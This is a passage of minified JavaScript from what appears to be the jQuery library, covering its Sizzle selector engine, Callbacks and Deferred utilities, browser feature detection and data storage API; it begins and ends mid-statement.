if(o.addEventListener)o.addEventListener("DOMContentLoaded",D,!1),e.addEventListener("load",D,!1);else{o.attachEvent("onreadystatechange",D),e.attachEvent("onload",D);var r=!1;try{r=null==e.frameElement&&o.documentElement}catch(i){}r&&r.doScroll&&function s(){if(!w.isReady){try{r.doScroll("left")}catch(e){return setTimeout(s,50)}P(),w.ready()}}()}return n.promise(t)},w.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});r=w(o),function(e,t){function ot(e,t,n,i){var s,o,u,a,f,l,p,m,g,w;if((t?t.ownerDocument||t:E)!==h&&c(t),t=t||h,n=n||[],!e||"string"!=typeof e)return n;if(1!==(a=t.nodeType)&&9!==a)return[];if(d&&!i){if(s=Z.exec(e))if(u=s[1]){if(9===a){if(o=t.getElementById(u),!o||!o.parentNode)return n;if(o.id===u)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(u))&&y(t,o)&&o.id===u)return n.push(o),n}else{if(s[2])return H.apply(n,t.getElementsByTagName(e)),n;if((u=s[3])&&r.getElementsByClassName&&t.getElementsByClassName)return H.apply(n,t.getElementsByClassName(u)),n}if(r.qsa&&(!v||!v.test(e))){if(m=p=b,g=t,w=9===a&&e,1===a&&"object"!==t.nodeName.toLowerCase()){l=mt(e),(p=t.getAttribute("id"))?m=p.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='"+m+"'] ",f=l.length;while(f--)l[f]=m+gt(l[f]);g=$.test(e)&&t.parentNode||t,w=l.join(",")}if(w)try{return H.apply(n,g.querySelectorAll(w)),n}catch(S){}finally{p||t.removeAttribute("id")}}}return Nt(e.replace(W,"$1"),t,n,i)}function ut(){function t(n,r){return e.push(n+=" ")>s.cacheLength&&delete t[e.shift()],t[n]=r}var e=[];return t}function at(e){return e[b]=!0,e}function ft(e){var t=h.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function lt(e,t){var n=e.split("|"),r=e.length;while(r--)s.attrHandle[n[r]]=t}function ct(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||O)-(~e.sourceIndex||O);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function ht(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function pt(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function dt(e){return at(function(t){return t=+t,at(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]&&(n[i]=!(r[i]=n[i]))})})}function vt(){}function mt(e,t){var n,r,i,o,u,a,f,l=N[e+" "];if(l)return t?0:l.slice(0);u=e,a=[],f=s.preFilter;while(u){(!n||(r=X.exec(u)))&&(r&&(u=u.slice(r[0].length)||u),a.push(i=[])),n=!1,(r=V.exec(u))&&(n=r.shift(),i.push({value:n,type:r[0].replace(W," ")}),u=u.slice(n.length));for(o in s.filter)!(r=G[o].exec(u))||f[o]&&!(r=f[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),u=u.slice(n.length));if(!n)break}return t?u.length:u?ot.error(e):N(e,a).slice(0)}function gt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}function yt(e,t,n){var r=t.dir,s=n&&"parentNode"===r,o=x++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||s)return e(t,n,i)}:function(t,n,u){var a,f,l,c=S+" "+o;if(u){while(t=t[r])if((1===t.nodeType||s)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||s)if(l=t[b]||(t[b]={}),(f=l[r])&&f[0]===c){if((a=f[1])===!0||a===i)return a===!0}else if(f=l[r]=[c],f[1]=e(t,n,u)||i,f[1]===!0)return!0}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function wt(e,t,n,r,i){var s,o=[],u=0,a=e.length,f=null!=t;for(;a>u;u++)(s=e[u])&&(!n||n(s,r,i))&&(o.push(s),f&&t.push(u));return o}function Et(e,t,n,r,i,s){return r&&!r[b]&&(r=Et(r)),i&&!i[b]&&(i=Et(i,s)),at(function(s,o,u,a){var f,l,c,h=[],p=[],d=o.length,v=s||Tt(t||"*",u.nodeType?[u]:u,[]),m=!e||!s&&t?v:wt(v,h,e,u,a),g=n?i||(s?e:d||r)?[]:o:m;if(n&&n(m,g,u,a),r){f=wt(g,p),r(f,[],u,a),l=f.length;while(l--)(c=f[l])&&(g[p[l]]=!(m[p[l]]=c))}if(s){if(i||e){if(i){f=[],l=g.length;while(l--)(c=g[l])&&f.push(m[l]=c);i(null,g=[],f,a)}l=g.length;while(l--)(c=g[l])&&(f=i?j.call(s,c):h[l])>-1&&(s[f]=!(o[f]=c))}}else g=wt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):H.apply(o,g)})}function St(e){var t,n,r,i=e.length,o=s.relative[e[0].type],u=o||s.relative[" "],a=o?1:0,l=yt(function(e){return e===t},u,!0),c=yt(function(e){return j.call(t,e)>-1},u,!0),h=[function(e,n,r){return!o&&(r||n!==f)||((t=n).nodeType?l(e,n,r):c(e,n,r))}];for(;i>a;a++)if(n=s.relative[e[a].type])h=[yt(bt(h),n)];else{if(n=s.filter[e[a].type].apply(null,e[a].matches),n[b]){for(r=++a;i>r;r++)if(s.relative[e[r].type])break;return Et(a>1&&bt(h),a>1&&gt(e.slice(0,a-1).concat({value:" "===e[a-2].type?"*":""})).replace(W,"$1"),n,r>a&&St(e.slice(a,r)),i>r&&St(e=e.slice(r)),i>r&&gt(e))}h.push(n)}return bt(h)}function xt(e,t){var n=0,r=t.length>0,o=e.length>0,u=function(u,a,l,c,p){var d,v,m,g=[],y=0,b="0",w=u&&[],E=null!=p,x=f,T=u||o&&s.find.TAG("*",p&&a.parentNode||a),N=S+=null==x?1:Math.random()||.1;for(E&&(f=a!==h&&a,i=n);null!=(d=T[b]);b++){if(o&&d){v=0;while(m=e[v++])if(m(d,a,l)){c.push(d);break}E&&(S=N,i=++n)}r&&((d=!m&&d)&&y--,u&&w.push(d))}if(y+=b,r&&b!==y){v=0;while(m=t[v++])m(w,g,a,l);if(u){if(y>0)while(b--)w[b]||g[b]||(g[b]=D.call(c));g=wt(g)}H.apply(c,g),E&&!u&&g.length>0&&y+t.length>1&&ot.uniqueSort(c)}return E&&(S=N,f=x),w};return r?at(u):u}function Tt(e,t,n){var r=0,i=t.length;for(;i>r;r++)ot(e,t[r],n);return n}function Nt(e,t,n,i){var o,u,f,l,c,h=mt(e);if(!i&&1===h.length){if(u=h[0]=h[0].slice(0),u.length>2&&"ID"===(f=u[0]).type&&r.getById&&9===t.nodeType&&d&&s.relative[u[1].type]){if(t=(s.find.ID(f.matches[0].replace(rt,it),t)||[])[0],!t)return n;e=e.slice(u.shift().value.length)}o=G.needsContext.test(e)?0:u.length;while(o--){if(f=u[o],s.relative[l=f.type])break;if((c=s.find[l])&&(i=c(f.matches[0].replace(rt,it),$.test(u[0].type)&&t.parentNode||t))){if(u.splice(o,1),e=i.length&&gt(u),!e)return H.apply(n,i),n;break}}}return a(e,h)(i,t,!d,n,$.test(e)),n}var n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b="sizzle"+ -(new Date),E=e.document,S=0,x=0,T=ut(),N=ut(),C=ut(),k=!1,L=function(e,t){return e===t?(k=!0,0):0},A=typeof t,O=1<<31,M={}.hasOwnProperty,_=[],D=_.pop,P=_.push,H=_.push,B=_.slice,j=_.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},F="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",I="[\\x20\\t\\r\\n\\f]",q="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",R=q.replace("w","w#"),U="\\["+I+"*("+q+")"+I+"*(?:([*^$|!~]?=)"+I+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+R+")|)|)"+I+"*\\]",z=":("+q+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+U.replace(3,8)+")*)|.*)\\)|)",W=RegExp("^"+I+"+|((?:^|[^\\\\])(?:\\\\.)*)"+I+"+$","g"),X=RegExp("^"+I+"*,"+I+"*"),V=RegExp("^"+I+"*([>+~]|"+I+")"+I+"*"),$=RegExp(I+"*[+~]"),J=RegExp("="+I+"*([^\\]'\"]*)"+I+"*\\]","g"),K=RegExp(z),Q=RegExp("^"+R+"$"),G={ID:RegExp("^#("+q+")"),CLASS:RegExp("^\\.("+q+")"),TAG:RegExp("^("+q.replace("w","w*")+")"),ATTR:RegExp("^"+U),PSEUDO:RegExp("^"+z),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+I+"*(even|odd|(([+-]|)(\\d*)n|)"+I+"*(?:([+-]|)"+I+"*(\\d+)|))"+I+"*\\)|)","i"),bool:RegExp("^(?:"+F+")$","i"),needsContext:RegExp("^"+I+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+I+"*((?:-\\d)?\\d*)"+I+"*\\)|)(?=[^-]|$)","i")},Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}"+I+"?|("+I+")|.)","ig"),it=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{H.apply(_=B.call(E.childNodes),E.childNodes),_[E.childNodes.length].nodeType}catch(st){H={apply:_.length?function(e,t){P.apply(e,B.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}u=ot.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},r=ot.support={},c=ot.setDocument=function(e){var n=e?e.ownerDocument||e:E,i=n.defaultView;return n!==h&&9===n.nodeType&&n.documentElement?(h=n,p=n.documentElement,d=!u(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){c()}),r.attributes=ft(function(e){return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ft(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ft(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ft(function(e){return p.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?(s.find.ID=function(e,t){if(typeof t.getElementById!==A&&d){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},s.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute("id")===t}}):(delete s.find.ID,s.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof e.getAttributeNode!==A&&e.getAttributeNode("id");return n&&n.value===t}}),s.find.TAG=r.getElementsByTagName?function(e,n){return typeof n.getElementsByTagName!==A?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,s=t.getElementsByTagName(e);if("*"===e){while(n=s[i++])1===n.nodeType&&r.push(n);return r}return s},s.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!==A&&d?n.getElementsByClassName(e):t},m=[],v=[],(r.qsa=Y.test(n.querySelectorAll))&&(ft(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||v.push("\\["+I+"*(?:value|"+F+")"),e.querySelectorAll(":checked").length||v.push(":checked")}),ft(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&v.push("[*^$]="+I+"*(?:''|\"\")"),e.querySelectorAll(":enabled").length||v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(r.matchesSelector=Y.test(g=p.webkitMatchesSelector||p.mozMatchesSelector||p.oMatchesSelector||p.msMatchesSelector))&&ft(function(e){r.disconnectedMatch=g.call(e,"div"),g.call(e,"[s!='']:x"),m.push("!=",z)}),v=v.length&&RegExp(v.join("|")),m=m.length&&RegExp(m.join("|")),y=Y.test(p.contains)||p.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},L=p.compareDocumentPosition?function(e,t){if(e===t)return k=!0,0;var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||y(E,e)?-1:t===n||y(E,t)?1:l?j.call(l,e)-j.call(l,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,s=e.parentNode,o=t.parentNode,u=[e],a=[t];if(e===t)return k=!0,0;if(!s||!o)return e===n?-1:t===n?1:s?-1:o?1:l?j.call(l,e)-j.call(l,t):0;if(s===o)return ct(e,t);r=e;while(r=r.parentNode)u.unshift(r);r=t;while(r=r.parentNode)a.unshift(r);while(u[i]===a[i])i++;return i?ct(u[i],a[i]):u[i]===E?-1:a[i]===E?1:0},n):h},ot.matches=function(e,t){return ot(e,null,null,t)},ot.matchesSelector=function(e,t){if((e.ownerDocument||e)!==h&&c(e),t=t.replace(J,"='$1']"),!(!r.matchesSelector||!d||m&&m.test(t)||v&&v.test(t)))try{var n=g.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(i){}return ot(t,h,null,[e]).length>0},ot.contains=function(e,t){return(e.ownerDocument||e)!==h&&c(e),y(e,t)},ot.attr=function(e,n){(e.ownerDocument||e)!==h&&c(e);var i=s.attrHandle[n.toLowerCase()],o=i&&M.call(s.attrHandle,n.toLowerCase())?i(e,n,!d):t;return o===t?r.attributes||!d?e.getAttribute(n):(o=e.getAttributeNode(n))&&o.specified?o.value:null:o},ot.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},ot.uniqueSort=function(e){var t,n=[],i=0,s=0;if(k=!r.detectDuplicates,l=!r.sortStable&&e.slice(0),e.sort(L),k){while(t=e[s++])t===e[s]&&(i=n.push(s));while(i--)e.splice(n[i],1)}return e},o=ot.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=o(t);return n},s=ot.selectors={cacheLength:50,createPseudo:at,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||ot.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&ot.error(e[0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return G.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:r&&K.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=T[e+" "];return t||(t=RegExp("(^|"+I+")"+e+"("+I+"|$)"))&&T(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==A&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=ot.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+" ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var s="nth"!==e.slice(0,3),o="last"!==e.slice(-4),u="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,a){var f,l,c,h,p,d,v=s!==o?"nextSibling":"previousSibling",m=t.parentNode,g=u&&t.nodeName.toLowerCase(),y=!a&&!u;if(m){if(s){while(v){c=t;while(c=c[v])if(u?c.nodeName.toLowerCase()===g:1===c.nodeType)return!1;d=v="only"===e&&!d&&"nextSibling"}return!0}if(d=[o?m.firstChild:m.lastChild],o&&y){l=m[b]||(m[b]={}),f=l[e]||[],p=f[0]===S&&f[1],h=f[0]===S&&f[2],c=p&&m.childNodes[p];while(c=++p&&c&&c[v]||(h=p=0)||d.pop())if(1===c.nodeType&&++h&&c===t){l[e]=[S,p,h];break}}else if(y&&(f=(t[b]||(t[b]={}))[e])&&f[0]===S)h=f[1];else while(c=++p&&c&&c[v]||(h=p=0)||d.pop())if((u?c.nodeName.toLowerCase()===g:1===c.nodeType)&&++h&&(y&&((c[b]||(c[b]={}))[e]=[S,h]),c===t))break;return h-=i,h===r||0===h%r&&h/r>=0}}},PSEUDO:function(e,t){var n,r=s.pseudos[e]||s.setFilters[e.toLowerCase()]||ot.error("unsupported pseudo: "+e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],s.setFilters.hasOwnProperty(e.toLowerCase())?at(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=j.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:at(function(e){var t=[],n=[],r=a(e.replace(W,"$1"));return r[b]?at(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)(s=o[u])&&(e[u]=!(t[u]=s))}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:at(function(e){return function(t){return ot(e,t).length>0}}),contains:at(function(e){return function(t){return(t.textContent||t.innerText||o(t)).indexOf(e)>-1}}),lang:at(function(e){return Q.test(e||"")||ot.error("unsupported lang: "+e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do if(n=d?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===p},focus:function(e){return e===h.activeElement&&(!h.hasFocus||h.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!s.pseudos.empty(e)},header:function(e){return tt.test(e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:dt(function(){return[0]}),last:dt(function(e,t){return[t-1]}),eq:dt(function(e,t,n){return[0>n?n+t:n]}),even:dt(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:dt(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:dt(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:dt(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}},s.pseudos.nth=s.pseudos.eq;for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})s.pseudos[n]=ht(n);for(n in{submit:!0,reset:!0})s.pseudos[n]=pt(n);vt.prototype=s.filters=s.pseudos,s.setFilters=new vt;a=ot.compile=function(e,t){var n,r=[],i=[],s=C[e+" "];if(!s){t||(t=mt(e)),n=t.length;while(n--)s=St(t[n]),s[b]?r.push(s):i.push(s);s=C(e,xt(i,r))}return s};r.sortStable=b.split("").sort(L).join("")===b,r.detectDuplicates=k,c(),r.sortDetached=ft(function(e){return 1&e.compareDocumentPosition(h.createElement("div"))}),ft(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||lt("type|href|height|width",function(e,n,r){return r?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ft(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||lt("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ft(function(e){return null==e.getAttribute("disabled")})||lt(F,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),w.find=ot,w.expr=ot.selectors,w.expr[":"]=w.expr.pseudos,w.unique=ot.uniqueSort,w.text=ot.getText,w.isXMLDoc=ot.isXML,w.contains=ot.contains}(e);var B={};w.Callbacks=function(e){e="string"==typeof e?B[e]||j(e):w.extend({},e);var n,r,i,s,o,u,a=[],f=!e.once&&[],l=function(t){for(r=e.memory&&t,i=!0,o=u||0,u=0,s=a.length,n=!0;a&&s>o;o++)if(a[o].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}n=!1,a&&(f?f.length&&l(f.shift()):r?a=[]:c.disable())},c={add:function(){if(a){var t=a.length;(function i(t){w.each(t,function(t,n){var r=w.type(n);"function"===r?e.unique&&c.has(n)||a.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?s=a.length:r&&(u=t,l(r))}return this},remove:function(){return a&&w.each(arguments,function(e,t){var r;while((r=w.inArray(t,a,r))>-1)a.splice(r,1),n&&(s>=r&&s--,o>=r&&o--)}),this},has:function(e){return e?w.inArray(e,a)>-1:!(!a||!a.length)},empty:function(){return a=[],s=0,this},disable:function(){return a=f=r=t,this},disabled:function(){return!a},lock:function(){return f=t,r||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return!a||i&&!f||(t=t||[],t=[e,t.slice?t.slice():t],n?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!i}};return c},w.extend({Deferred:function(e){var t=[["resolve","done",w.Callbacks("once memory"),"resolved"],["reject","fail",w.Callbacks("once memory"),"rejected"],["notify","progress",w.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return w.Deferred(function(n){w.each(t,function(t,s){var o=s[0],u=w.isFunction(e[t])&&e[t];i[s[1]](function(){var e=u&&u.apply(this,arguments);e&&w.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[o+"With"](this===r?n.promise():this,u?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?w.extend(e,r):r}},i={};return r.pipe=r.then,w.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u&&o.add(function(){n=u},t[1^e][2].disable,t[2][2].lock),i[s[0]]=function(){return i[s[0]+"With"](this===i?r:this,arguments),this},i[s[0]+"With"]=o.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=v.call(arguments),r=n.length,i=1!==r||e&&w.isFunction(e.promise)?r:0,s=1===i?e:w.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?v.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r>1)for(u=Array(r),a=Array(r),f=Array(r);r>t;t++)n[t]&&w.isFunction(n[t].promise)?n[t].promise().done(o(t,f,n)).fail(s.reject).progress(o(t,a,u)):--i;return i||s.resolveWith(f,n),s.promise()}}),w.support=function(t){var n,r,s,u,a,f,l,c,h,p=o.createElement("div");if(p.setAttribute("className","t"),p.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=p.getElementsByTagName("*")||[],r=p.getElementsByTagName("a")[0],!r||!r.style||!n.length)return t;u=o.createElement("select"),f=u.appendChild(o.createElement("option")),s=p.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!==p.className,t.leadingWhitespace=3===p.firstChild.nodeType,t.tbody=!p.getElementsByTagName("tbody").length,t.htmlSerialize=!!p.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!r.style.cssFloat,t.checkOn=!!s.value,t.optSelected=f.selected,t.enctype=!!o.createElement("form").enctype,t.html5Clone="<:nav></:nav>"!==o.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,s.checked=!0,t.noCloneChecked=s.cloneNode(!0).checked,u.disabled=!0,t.optDisabled=!f.disabled;try{delete p.test}catch(d){t.deleteExpando=!1}s=o.createElement("input"),s.setAttribute("value",""),t.input=""===s.getAttribute("value"),s.value="t",s.setAttribute("type","radio"),t.radioValue="t"===s.value,s.setAttribute("checked","t"),s.setAttribute("name","t"),a=o.createDocumentFragment(),a.appendChild(s),t.appendChecked=s.checked,t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,p.attachEvent&&(p.attachEvent("onclick",function(){t.noCloneEvent=!1}),p.cloneNode(!0).click());for(h in{submit:!0,change:!0,focusin:!0})p.setAttribute(l="on"+h,"t"),t[h+"Bubbles"]=l in e||p.attributes[l].expando===!1;p.style.backgroundClip="content-box",p.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===p.style.backgroundClip;for(h in w(t))break;return t.ownLast="0"!==h,w(function(){var n,r,s,u="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",a=o.getElementsByTagName("body")[0];a&&(n=o.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",a.appendChild(n).appendChild(p),p.innerHTML="<table><tr><td></td><td>t</td></tr></table>",s=p.getElementsByTagName("td"),s[0].style.cssText="padding:0;margin:0;border:0;display:none",c=0===s[0].offsetHeight,s[0].style.display="",s[1].style.display="none",t.reliableHiddenOffsets=c&&0===s[0].offsetHeight,p.innerHTML="",p.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",w.swap(a,null!=a.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===p.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(p,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(p,null)||{width:"4px"}).width,r=p.appendChild(o.createElement("div")),r.style.cssText=p.style.cssText=u,r.style.marginRight=r.style.width="0",p.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof p.style.zoom!==i&&(p.innerHTML="",p.style.cssText=u+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===p.offsetWidth,p.style.display="block",p.innerHTML="<div></div>",p.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==p.offsetWidth,t.inlineBlockNeedsLayout&&(a.style.zoom=1)),a.removeChild(n),n=p=s=r=null)}),n=u=a=f=r=s=null,t}({});var F=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,I=/([A-Z])/g;w.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?w.cache[e[w.expando]]:e[w.expando],!!e&&!z(e)},data:function(e,t,n){return q(e,t,n)},removeData:function(e,t){return R(e,t)},_data:function(e,t,n){return q(e,t,n,!0)},_removeData:function(e,t){return R(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&w.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),w.fn.extend({data:function(e,n){var r,i,s=null,o=0,u=this[0];if(e===t){if(this.length&&(s=w.data(u),1===u.nodeType&&!w._data(u,"parsedAttrs"))){for(r=u.attributes;r.length>o;o++)i=r[o].name,0===i.indexOf("data-")&&(i=w.camelCase(i.slice(5)),U(u,i,s[i]));w._data(u,"parsedAttrs",!0)}return s}return"object"==typeof e?this.each(function(){w.data(this,e)}):arguments.length>1?this.each(function(){w.data(this,e,n)}):u?U(u,e,w.data(u,e)):null},removeData:function(e){return this.each(function(){w.removeData(this,e)})}});w.extend({queue:function(e,n,r){var i;return 